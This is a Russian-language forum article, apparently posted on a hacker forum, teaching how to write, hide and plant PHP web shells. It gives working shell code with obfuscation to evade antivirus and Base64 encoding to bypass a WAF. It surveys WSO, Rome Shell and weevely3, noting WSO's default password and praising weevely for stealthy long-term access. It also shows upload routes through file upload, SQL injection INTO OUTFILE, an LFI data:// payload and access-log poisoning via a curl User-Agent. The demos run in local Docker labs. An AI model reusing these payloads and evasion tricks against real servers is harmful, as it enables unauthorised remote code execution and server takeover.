Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Реклама на форуме платная! Обращаться к Admin.
    Произошла смена домена с maza.one на maza1.top!!!

Статья Веб-шеллы с самого начала. Как серверы захватывают через веб-приложение

  • Автор темы Автор темы slavik
  • Дата начала Дата начала
Статьи форума

slavik

Cool Man
LV
0
 
Регистрация
Мар 23, 2023
Сообщения
57
Реакции
12
Содержание статьи


  1. Обход защиты
  2. Shell-функции
  3. Готовые веб-шеллы
  4. Rome Shell
  5. WSO (Web Shell by oRb и его клоны)
  6. weevely3
  7. Как залить веб-шелл на сервер
  8. Автономные и неавтономные веб-шеллы

Сегодня я расскажу о том, что такое веб‑шеллы и как их пишут. Посмотрим, как при атаках заливают шелл на сервер, получив RCE через другие уязвимости. Также посмотрим, как логи сервера могут превратиться в веб‑шелл, выполняющий любую команду.
Веб‑шелл (web-sell, веб‑оболочка) — инструмент для комфортного удаленного выполнения кода на сервере. Обычно это скрипт, который работает как обычное веб‑приложение. Задача скрипта — выполнить в системе отправленную пользователем команду и вернуть результат. Скрипт пишется на языке, который установлен на конкретном веб‑сервере.



Чаще всего это скрипт на PHP, так как PHP — самый распространенный на вебе серверный язык программирования. Но веб‑шелл может быть написан и на любом другом языке: Python, JavaScript (Node.js), Java, Go и прочих. Конкретная платформа зависит от того, как сконфигурирован сервер и какие интерпретаторы установлены.


Читая статьи про веб‑шеллы, ты чаще всего встретишь формулировку «вредоносная программа». На самом деле веб‑шеллами пользуются и для администрирования серверов, чтобы не коннектиться все время по SSH или RDP. Вредоносность появляется только в том случае, когда веб‑шелл загружен на сервер несанкционированно и используется хакером для захвата контроля.

Простейший пример веб‑шелла на PHP:



PHP:


<span><span><span>&lt;</span>pre</span><span>&gt;</span></span><br> <span><span>&lt;?php</span><br> <span>echo</span> <span>shell_exec</span><span>(</span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br> <span>?&gt;</span></span><br><span><span><span>&lt;/</span>pre</span><span>&gt;</span></span>


Скрипт получает GET-параметр cmd и передает на выполнение функции shell_exec(). Функция shell_exec() сообщает веб‑серверу, что нужно выполнить определенный код в операционной системе. Результат выполнения возвращается на веб‑страницу. Обертка <pre>...</pre> нужна, чтобы вывод был читаемым, а не сваленными в кучу символами.


Давай на практическом примере посмотрим, как это работает. Для этого сохрани пример веб‑шелла в файл shell.php и запусти Docker-контейнер, примонтировав папку. Выполни команду



Код:


docker run --rm -p 8080:80 -v $(pwd):/var/www/html php:8.2-apache


В Windows PowerShell могут потребоваться кавычки:



Код:


docker run --rm -p 8080:80 -v "${PWD}:/var/www/html" php:8.2-apache


После запуска контейнера открой в браузере такой URL:


Код:




На странице увидишь классическую работу ls -la.

Попробуй вместо ls -la команды вроде whoami, id, uname -a или любые другие команды операционной системы.


В Windows могут возникнуть проблемы с запуском. Штатный защитник, видя в файле shell_exec($_GET['cmd']) или system($_GET['cmd']), классифицирует файл как вредоносный и удаляет его. Банальная обфускация решит проблему:



PHP:


<span><span><span>&lt;</span>pre</span><span>&gt;</span></span><br> <span><span>&lt;?php</span><br> <span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br> <span>echo</span> <span>$f</span><span>(</span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br> <span>?&gt;</span></span><br><span><span><span>&lt;/</span>pre</span><span>&gt;</span></span>


GET-параметры — неплохой вариант для начала, но не самый удобный. Для комфортной работы попробуй альтернативу со строкой ввода и POST-запросом:


PHP:


<span><span><span>&lt;</span>form</span> <span>method</span><span><span>=</span><span>"</span>POST<span>"</span></span><span>&gt;</span></span><br> <span><span><span>&lt;</span>input</span> <span>type</span><span><span>=</span><span>"</span>text<span>"</span></span> <span>name</span><span><span>=</span><span>"</span>cmd<span>"</span></span> <span>placeholder</span><span><span>=</span><span>"</span>Enter command<span>"</span></span><span>&gt;</span></span><br> <span><span><span>&lt;</span>button</span> <span>type</span><span><span>=</span><span>"</span>submit<span>"</span></span><span>&gt;</span></span>Execute<span><span><span>&lt;/</span>button</span><span>&gt;</span></span><br><span><span><span>&lt;/</span>form</span><span>&gt;</span></span><br><span><span><span>&lt;</span>pre</span><span>&gt;</span></span><br><span><span>&lt;?php</span><br><span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br><span>echo</span> <span>$f</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br><span>?&gt;</span></span><br><span><span><span>&lt;/</span>pre</span><span>&gt;</span></span>


Сохрани файл как shell2.php и протестируй http://localhost:8080/shell2.php. Теперь ты можешь комфортно отправлять любые команды и не париться по поводу того, что забыл где‑то исправить пробел на %20.


Обход защиты​


Плюс веб‑шелла в том, что он выполняется в контексте веб‑приложения. Тебе не нужно создавать отдельный коннект, а значит, отпадает необходимость обхода файрвола. Но файрвол — это только один из способов защиты.


В Docker наш проект полностью открыт атакам. В реальной жизни на сервере может быть установлен Web Application Firewall (WAF), настроенный на блокировку запросов, содержащих системные команды. В таких случаях атакующему приходится придумывать способ обфускации (то есть скрытия), который позволит обойти WAF. Поскольку тот чаще всего работает по определенным правилам, это вполне возможно.


Один из вариантов — использование кодировки Base64. Давай поправим наш shell2.php:



PHP:


<span><span><span>&lt;</span>form</span> <span>method</span><span><span>=</span><span>"</span>POST<span>"</span></span><span>&gt;</span></span><br> <span><span><span>&lt;</span>input</span> <span>type</span><span><span>=</span><span>"</span>text<span>"</span></span> <span>name</span><span><span>=</span><span>"</span>cmd<span>"</span></span> <span>placeholder</span><span><span>=</span><span>"</span>Enter command<span>"</span></span><span>&gt;</span></span><br> <span><span><span>&lt;</span>button</span> <span>type</span><span><span>=</span><span>"</span>submit<span>"</span></span><span>&gt;</span></span>Execute<span><span><span>&lt;/</span>button</span><span>&gt;</span></span><br><span><span><span>&lt;/</span>form</span><span>&gt;</span></span><br><span><span>&lt;?php</span><br><span>if</span> <span>(</span><span>!</span><span>empty</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>)</span> <span>{</span><br> <span>$encoded</span> <span>=</span> <span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>;</span><br> <span>if</span> <span>(</span><span>base64_decode</span><span>(</span><span>$encoded</span><span>,</span> <span>true</span><span>)</span> <span>!==</span> <span>false</span><span>)</span> <span>{</span><br> <span>$command</span> <span>=</span> <span>base64_decode</span><span>(</span><span>$encoded</span><span>,</span> <span>true</span><span>)</span><span>;</span><br> <span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br> <span>echo</span> <span>"&lt;b&gt;Base64 value:&lt;/b&gt; <span><span>$encoded</span></span>&lt;/br&gt;"</span><span>;</span><br> <span>echo</span> <span>"&lt;b&gt;Command:&lt;/b&gt; <span><span>$command</span></span>&lt;/br&gt;"</span><span>;</span><br> <span>echo</span> <span>"&lt;pre&gt;"</span><span>;</span><br> <span>echo</span> <span>$f</span><span>(</span><span>$command</span><span>)</span><span>;</span><br> <span>echo</span> <span>"&lt;/pre&gt;"</span><span>;</span><br> <span>}</span> <span>else</span> <span>{</span><br> <span>echo</span> <span>"Invalid base64 input"</span><span>;</span><br> <span>}</span><br><span>}</span><br><span>?&gt;</span></span>



Такой метод уже гораздо круче, но отдельно кодировать каждую команду неудобно. Добавь в файл обработчик на JavaScript:



JavaScript:


<span>&lt;</span>form method<span>=</span><span>"POST"</span> onsubmit<span>=</span><span>"encodeCmd()"</span><span>&gt;</span><br> <span>&lt;</span>input type<span>=</span><span>"text"</span> id<span>=</span><span>"cmd_input"</span> placeholder<span>=</span><span>"Enter command"</span><span>&gt;</span><br> <span>&lt;</span>input type<span>=</span><span>"hidden"</span> name<span>=</span><span>"cmd"</span> id<span>=</span><span>"cmd_encoded"</span><span>&gt;</span><br> <span>&lt;</span>button type<span>=</span><span>"submit"</span><span>&gt;</span>Execute<span>&lt;</span><span>/</span>button<span>&gt;</span><br><span>&lt;</span><span>/</span>form<span>&gt;</span><br><span>&lt;</span>script<span>&gt;</span><br><span>function</span> <span>encodeCmd</span><span>(</span><span>)</span> <span>{</span><br> <span>const</span> input <span>=</span> document<span>.</span><span>getElementById</span><span>(</span><span>'cmd_input'</span><span>)</span><span>.</span>value<span>;</span><br> <span>const</span> encoded <span>=</span> <span>btoa</span><span>(</span>input<span>)</span><span>;</span><br> document<span>.</span><span>getElementById</span><span>(</span><span>'cmd_encoded'</span><span>)</span><span>.</span>value <span>=</span> encoded<span>;</span><br><span>}</span><br><span>&lt;</span><span>/</span>script<span>&gt;</span>


При вводе команды в скрытое поле cmd попадает значение, кодированное в Base64 через btoa(). Такой подход не требует отдельной обработки сабмита формы. Просто на лету формируется нужная строка.


1774709721467.png


Пример работы с командой, закодированной в Base64

Обфускация через Base64 — это один из примеров, и довольно простой. Иногда лучше работает функция chr(), которая преобразует числовое значение символа в символ. Есть вариант разбивать строку Base64 на несколько частей и сохранять промежуточное значение где‑нибудь в файле. Только не забудь как‑то помечать начало новой команды, чтобы можно было сбросить ошибки.


Shell-функции​


Вся работа шелла построена на выполнении команд в операционной системе. В примере я использовал функцию shell_exec(). Это не единственный вариант. В PHP есть: system(), passthru(), exec(), popen(), proc_open(). Каждая функция имеет свои плюсы и минусы с точки зрения использования, но в контексте веб‑шелла речь скорее про обход ограничений на сервере. Админ может в php.ini запретить вызов функций, перечислив их в disable_functions. Формально функция сохранится и будет доступна для вызова, но любая попытка вызова приведет к фатальной ошибке. Поэтому нужно понять, как использовать каждую из функций в рамках веб‑шелла.


Чаще всего блокируют функции shell_exec(), system(), passthru() и exec(). Но есть смысл тестировать каждую из них. Принципиальная разница между ними в возврате результата:



  • shell_exec() возвращает вывод в виде строки, поэтому в коде использовал echo, чтобы результат оказался на странице. Сигнатура: shell_exec(string $command): string|false|null;
  • exec() вернет только последнюю строчку вывода. Поэтому работа с exec() слегка вслепую. Исправить ситуацию можно, передав вторым параметром указатель на переменную (&$output), куда функция поместит вывод. Сигнатура:

    Код:


    exec(string $command, array &amp;$output = null, int &amp;$result_code = null): string|false;
  • system() пишет сразу в stdout — это прямой вывод в респонс, нет необходимости добавлять echo или другие функции вывода. Сигнатура:

    Код:


    system(string $command, int &amp;$result_code = null): string|false;
  • passthru() тоже сразу пишет в stdout, но в виде байтов. Сигнатура:

    Код:


    passthru(string $command, int &amp;$result_code = null): ?false

    .

В PHP функция popen() открывает процесс как поток (stream) — почти так же, как fopen() открывает файл. Разница в том, что вместо файла ты получаешь доступ к вводу или выводу запущенной команды. Сигнатура вызова: popen(string $command, string $mode). Пример веб‑шелла:



PHP:


<span><span>&lt;?php</span><br> <span>$cmd</span> <span>=</span> <span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span> <span>?</span><span>?</span> <span>'id'</span><span>;</span><br> <span>// Добавляем к команде перенаправление stderr в stdout, чтобы видеть ошибки</span><br> <span>$handle</span> <span>=</span> <span>popen</span><span>(</span><span>$cmd</span> <span>.</span> <span>' 2&gt;&amp;1'</span><span>,</span> <span>'r'</span><span>)</span><span>;</span><br> <span>if</span> <span>(</span><span>$handle</span><span>)</span> <span>{</span><br> <span>// Читаем так же, как из файла</span><br> <span>while</span> <span>(</span><span>!</span><span>feof</span><span>(</span><span>$handle</span><span>)</span><span>)</span> <span>{</span><br> <span>echo</span> <span>fread</span><span>(</span><span>$handle</span><span>,</span> <span>4096</span><span>)</span><span>;</span><br> <span>}</span><br> <span>pclose</span><span>(</span><span>$handle</span><span>)</span><span>;</span><br> <span>}</span></span>


Самая крутая и мощная функция — это proc_open(). При ее помощи можно создать псевдоинтерактивный веб‑шелл. Пример:



PHP:


<span><span>&lt;?php</span><br><span>$cmd</span> <span>=</span> <span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span> <span>?</span><span>?</span> <span>'id'</span><span>;</span><br><span>$descriptorspec</span> <span>=</span> <span>[</span><br> <span>0</span> <span>=</span><span>&gt;</span> <span>[</span><span>"pipe"</span><span>,</span> <span>"r"</span><span>]</span><span>,</span> <span>// stdin</span><br> <span>1</span> <span>=</span><span>&gt;</span> <span>[</span><span>"pipe"</span><span>,</span> <span>"w"</span><span>]</span><span>,</span> <span>// stdout</span><br> <span>2</span> <span>=</span><span>&gt;</span> <span>[</span><span>"pipe"</span><span>,</span> <span>"w"</span><span>]</span> <span>// stderr</span><br><span>]</span><span>;</span><br><span>$process</span> <span>=</span> <span>proc_open</span><span>(</span><span>$cmd</span><span>,</span> <span>$descriptorspec</span><span>,</span> <span>$pipes</span><span>)</span><span>;</span><br><span>if</span> <span>(</span><span>is_resource</span><span>(</span><span>$process</span><span>)</span><span>)</span> <span>{</span><br> <span>// Закрываем stdin, если не пишем</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>0</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>'&lt;pre&gt;'</span><span>;</span><br> <span>echo</span> <span>stream_get_contents</span><span>(</span><span>$pipes</span><span>[</span><span>1</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>"\n--- STDERR ---\n"</span> <span>.</span> <span>stream_get_contents</span><span>(</span><span>$pipes</span><span>[</span><span>2</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>'&lt;/pre&gt;'</span><span>;</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>1</span><span>]</span><span>)</span><span>;</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>2</span><span>]</span><span>)</span><span>;</span><br> <span>proc_close</span><span>(</span><span>$process</span><span>)</span><span>;</span><br><span>}</span></span>



Готовые веб-шеллы​


Сообщество пентестеров создало сотни готовых веб‑шеллов. Зачем писать свой с нуля, если кто‑то уже сделал красивую панельку с кнопочками? Но вот тут сразу большой жирный минус.


Используя чужой шелл, особенно популярный, ты с высокой вероятностью подцепишь бэкдор. Хакеры специально выкладывают «обновленные» версии WSO, r57, c99 с зашитыми внутрь фишками: отправка куки, пароля или логов себе на сервер. Встречаются скрытые майнеры, которые включаются через неделю, или просто реверс‑шеллы на чьи‑то тачки.


Представь: ты проводишь абсолютно легальный пентест по контракту, а через месяц получаешь письмо от заказчика: «А почему у нас на сервере майнится Monero на китайский адрес?»


Предупреждаю тебя: используя готовые шеллы, будь готов к неприятностям. Даже если репозиторий выглядит чистым — проверь diff с оригиналом, поищи подозрительные eval(base64_decode(...)), curl на внешние адреса. Я не беру на себя никакой ответственности. Все, что ты зальешь и запустишь, — на твой страх и риск.


На GitHub можно найти целые коллекции веб‑шеллов, например sagsooz/Webshell-bypass. Рекомендую покопаться в репозитории, посмотреть исходники для более глубокого понимания.


Приведу в пример несколько легендарных тулз, которые годами помогают в пентесте и не только.


Rome Shell​


Это маленький приятный веб‑шелл без лишних функций. Поддерживает защиту паролем. А защита веб‑шеллам нужна, без нее твой шелл может найти и захватить коллега по цеху. Находят шеллы обычным перебором каталогов. Иногда бывают курьезы и поисковики индексируют скрипт как легитимную страницу сайта. В таком случае веб‑шелл можно найти через обычный дорк.


1774710399631.png


Пример Rome Shell
В левой части — файлы и папки текущей директории. При помощи левого меню можно перемещаться по папкам сервера. Справа подобие терминала. Внизу командная строка, выше вывод. Поддерживает загрузку файлов.


В репозитории проекта выложены две версии скрипта: открытый код и обфусцированная версия. Открытый код свободно палится системами защиты.




WSO (Web Shell by oRb и его клоны)​

Один из самых известных и до сих пор живых PHP-шеллов. Красивая панелька, почти как админка хостинга.


1774710517317.png


Панель веб‑шелла WSO

Основные фичи:



  • файловый менеджер с drag & drop, chmod, массовым копипастом;
  • консоль (выполнение команд разными функциями — system/exec/passthru — и обходами disable_functions);
  • SQL-менеджер (MySQL/PostgreSQL, дампы, brute);
  • brute FTP/MySQL, back-connect, bind-shell;
  • поиск файлов/текста по серверу, работа со строками, хеши;
  • блокировка пауков — если юзер‑агент — Google, отдает 404 (полезно, чтобы другие не находили твой шелл через Google);
  • маленький размер (65 Кбайт), выбор кодировки.



Сейчас много модификаций: WSO 2.5, WSO-NG, «невидимки» с шифрованием. Многие свежие репозитории на GitHub — это либо старые версии, либо версии, припудренные бэкдорами. Если берешь готовый веб‑шелл — проверяй обязательно. WSO подходит для комфортной эксплуатации сервера, когда уже есть загрузка файла и хочется GUI.


Ссылку на классический WSO 2.5 я привожу скорее для истории: он не запустится на PHP 7 или 8. Внутри куча старых функций вроде set_magic_quotes_runtime или подключения к базе через mysql_. Зато это чистый код, который можно модифицировать и получить рабочий шелл. В большинстве случаев более новые версии будут обфусцированы.


Есть новая версия WSO, но скачиваешь и используешь на свой страх. По умолчанию установлен пароль Nfdh3@631q12.




weevely3​


Это серьезный инструмент для пентеста. Не просто шелл, а заряженная пушка, как пишут разработчики. Входит в комплект инструментов Kali.


Эта тулза скорее бэкдор, для работы используется не браузер, а коннект программы к своему агенту.



1774710641652.png


Результат коннекта через weevely3
При пентесте сначала генерируешь маленький зашифрованный агент (PHP-файл) и заливаешь на цель.



Код:


weevely generate test123 wshell.php



Подключаешься через Python-клиент weevely.py — получаешь терминал как SSH:


Код:


weevely http://localhost:8080/wshell.php test123



Тулза поддерживает около 30 мощных модулей для работы. Вот некоторые примеры:



  • выполнение команд даже при disable_functions (креативные обходы);
  • SQL-консоль + pivoting;
  • прокси через цель;
  • reverse/bind shells, запуск Meterpreter;
  • скан портов, поиск паролей, модули эскалации привилегий.

Модули динамически подгружаются, сам агент крошечный.


Чтобы подробнее познакомиться с модулями, после коннекта к агенту используй команду :help. Двоеточием ты даешь понять, что хочешь работать с модулями.


Работа через weevely максимально тихая. Трафик обфусцирован, сигнатур почти нет. Идеально для долгосрочного доступа.


Как залить веб-шелл на сервер​


Веб‑шелл — это не метод атаки, а способ превратить уязвимость в Remote Code Execution. Чтобы залить шелл, тебе нужна какая‑то уязвимость с записью в файл. Наиболее простой вариант — это небезопасная загрузка файла. Загрузил файл и пользуешься.


Для демонстрации запустим DVWA:



Код:


docker run --rm -it -p 80:80 vulnerables/web-dvwa


Зайди на
http://localhost
, используй admin/admin для входа. Жми Setup/Reset DB. Заново авторизуйся с кредами admin/password. В меню слева найди File Upload, это раздел, связанный с уязвимостью загрузки файлов. Выбери файл с любым веб‑шеллом и загрузи его на сервер. В ответ приложение выдаст путь к загруженному файлу. Добавь его к URL. Итоговый URL будет выглядеть как‑то так:
http://localhost/hackable/uploads/shell.php
.



1774710987959.png




Еще вариант — записать шелл в веб‑директорию через SQL Injection. Если база данных висит на том же сервере и пользователь имеет права на запись через INTO OUTFILE, выполни подобную команду:



SQL:


<span>SELECT</span> <span>'&lt;?php system($_GET["cmd"]); ?&gt;'</span> <span>INTO</span> <span>OUTFILE</span> <span>'/var/www/html/shell.php'</span>


SQL Injection бывает полезна не только возможностью записи файла. На одном таргете у меня была самописная система управления контентом. Веб‑приложение охватывало несколько доменов, каждый из которых работал с собственным сервером. Система раскидывала контент по этим доменам через FTP. Данные для подключения хранились в открытом виде в базе. Само приложение было уязвимо к SQL Injection. Мне не составило никакого труда вытащить данные из базы, подключиться к FTP и залить веб‑шелл.


Часто для загрузки веб‑шелла используется Local File Inclusion и Remote File Inclusion. Если доступны врапперы, есть вариант подгрузить шелл подобным способом:



Код:


?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&amp;c=id


Подразумевается, что из параметра page значение напрямую передается в функцию include. Через data:// передаем строку <?php system($_GET['c']); ?>. В параметре &c прописана системная команда, которую PHP будет искать после работы враппера.


Если врапперы недоступны, но есть Remote File Inclusion, тебе нужно поместить шелл на свой сервер. Шелл должен быть в виде текстового файла с блоком кода <?php...?>. Тогда веб‑приложение подгрузит текст и выполнит код веб‑шелла.


Что делать, если есть только Local File Inclusion? Попробуй интересный хук через лог сервера. Код веб‑шелла отправляется в User-Agent. После лог инклюдится через LFI на страницу сайта.

Чтобы на практике посмотреть, как это работает, создадим Dockerfile:



Код:


FROM php:8.2-apache<br>RUN mkdir -p /var/log/apache2 \<br> &amp;&amp; chown -R www-data:www-data /var/log/apache2 \<br> &amp;&amp; chmod -R 755 /var/log/apache2 \<br> &amp;&amp; rm -f /var/log/apache2/*.log \<br> &amp;&amp; sed -i 's|ErrorLog ${APACHE_LOG_DIR}/error.log|ErrorLog /var/log/apache2/error.log|' /etc/apache2/apache2.conf \<br> &amp;&amp; sed -i 's|CustomLog ${APACHE_LOG_DIR}/access.log|CustomLog /var/log/apache2/access.log|' /etc/apache2/apache2.conf \<br> &amp;&amp; sed -i 's|CustomLog ${APACHE_LOG_DIR}/other_vhosts_access.log|CustomLog /var/log/apache2/other_vhosts_access.log|' /etc/apache2/conf-available/other-vhosts-access.conf || true<br># Уязвимая страница LFI<br>COPY &lt;&lt;'EOF' /var/www/html/vuln.php<br>&lt;?php<br>if (isset($_GET['page'])) {<br> include($_GET['page']);<br>} else {<br> echo "&lt;h1&gt;LFI demo page&lt;/h1&gt;";<br>}<br>?&gt;<br>EOF<br>EXPOSE 80


Обрати внимание на смену владельца и установку прав на папку с логами. Хук возможен только в случае, если у тебя есть права на чтение логов.


Собери и запусти контейнер:



Код:


docker build -t lfi-log-lab .<br>docker run -d -p 8080:80 --name lfi-lab lfi-log-lab


Выполни инъекцию шелла в лог командой

curl -A '<?php extract($_GET); system($c); die(); ?>' http://localhost:8087/vuln.php

Проверь, чтобы в access.log лежал код в правильном формате:


Код:


docker exec -it lfi-lab tail -n 3 /var/log/apache2/access.log


В ответе должна быть подобная строка:



Код:


172.17.0.1 - - [23/Feb/2026:10:25:38 +0000] "GET /vuln.php HTTP/1.1" 200 196 "-" "&lt;?php extract($_GET); system($c); die(); ?&gt;"


Функция extract() выбрана не случайно. По умолчанию Apache 2 избавляется от кавычек. Например, можем попытаться отправить такой код:



PHP:


<span><span>&lt;?php</span> <span>system</span><span>(</span><span>$_GET</span><span>[</span><span>"cmd"</span><span>]</span><span>)</span><span>;</span><span>die</span><span>(</span><span>)</span><span>;</span><span>?&gt;</span></span>


Тогда на выходе получим


PHP:


<span><span>&lt;?php</span> <span>system</span><span>(</span><span>$_GET</span><span>[</span>cmd<span>]</span><span>)</span><span>;</span><span>die</span><span>(</span><span>)</span><span>;</span><span>?&gt;</span></span>


При попытке инклудить код увидишь фатальную ошибку, так как cmd — это неизвестный для PHP литерал. Если экранируешь кавычки через ", в лог строка упадет в том же виде: $_GET["cmd"]. Такой код тоже приведет к ошибке. Поэтому оптимальный путь — это «разобрать» именованный массив $_GET по локальным переменным. После работы функции PHP создаст одноименные переменные.


Команда die() нужна для прекращения выполнения. Все, что идет в файле после нее, будет проигнорировано интерпретатором PHP. Это позволит избежать ошибок при выполнении твоего шелла и защитит твою инъекцию от чужих инъекций. С другой стороны, если допустишь ошибку в инъекции, придется ждать, когда логи сервера заполнятся и система скинет их.


Тебе осталось передать команду в параметре &c:



Bash:


<span>curl</span> <span>"http://localhost:8087/vuln.php?page=/var/log/apache2/access.log&amp;c=id"</span>



1774711542904.png



При выполнении запроса PHP увидит в page путь к логу. При помощи include подгрузит файл лога и приступит к поиску блоков PHP в тексте. Наткнувшись на <?php...?>, выполнит код вставки. Текст вне PHP-блока будет проигнорирован.


Внутри блока выполнится экстракт. Значение GET-параметра &c попадет в переменную $c. Далее сработает системный вызов. Наш пример приведет к системному вызову функции id. Результат работы system отправляется в stdout; в данном случае это тело ответа сервера. Завершится выполнение функцией die(), после которой интерпретатор забудет про текст лога и продолжит выполнение кода, идущего за include($_GET['page']);.


Как видишь, есть много способов загрузить шелл на сервер. Конкретный способ зависит от конфигурации таргета.


Автономные и неавтономные веб-шеллы​


Шеллы на PHP в большинстве случаев автономны — загрузил файл, и можно сразу пользоваться. Как ты понимаешь, такой подход работает не везде. Автономно могут работать и веб‑шеллы, ориентированные на ASP, JSP и скрипты на Perl.


Автономные веб‑шеллы работают исключительно благодаря архитектуре интерпретатора и веб‑сервера, которые выполняют код по факту HTTP-запроса к файлу. Противоположность — проекты с предварительной загрузкой структуры файлов и роутов.


Отличный пример — проекты на Node.js. Просто так залить веб‑шелл в них не получится. Запущенное приложение просто проигнорирует твой файл. Node.js загружает приложение целиком, работает с прописанными маршрутами и не подтягивает новые файлы автоматически при их появлении. Чтобы Node.js начал обрабатывать файл, веб‑сервер должен его увидеть и каким‑то образом подгрузить. Например, если у тебя есть возможность запустить свой шелл на параллельное выполнение на другом порте, прописав команду в package.json.


Результата ты не получишь, даже если у тебя есть возможность дописать свой шелл в код одного из файлов или добавить новый роут. Пока приложение не будет перезапущено, ни о какой обработке речи быть не может.


Существуют способы «выбить» сервер и заставить перезагрузить веб‑приложение. Но это уже выходит за пределы знакомства с веб‑шеллами. На этом этапе тебе важно само понимание того, что бывают автономные и неавтономные скрипты. На первых порах проще работать с классическим заливом. Если интересно узнать, как заливать и закреплять неавтономный веб‑шелл, напиши в комментах.




ret0x2A
 

Пинг форума и аптайм

Averaged results for https://maza.one

uptime counter
Назад
Сверху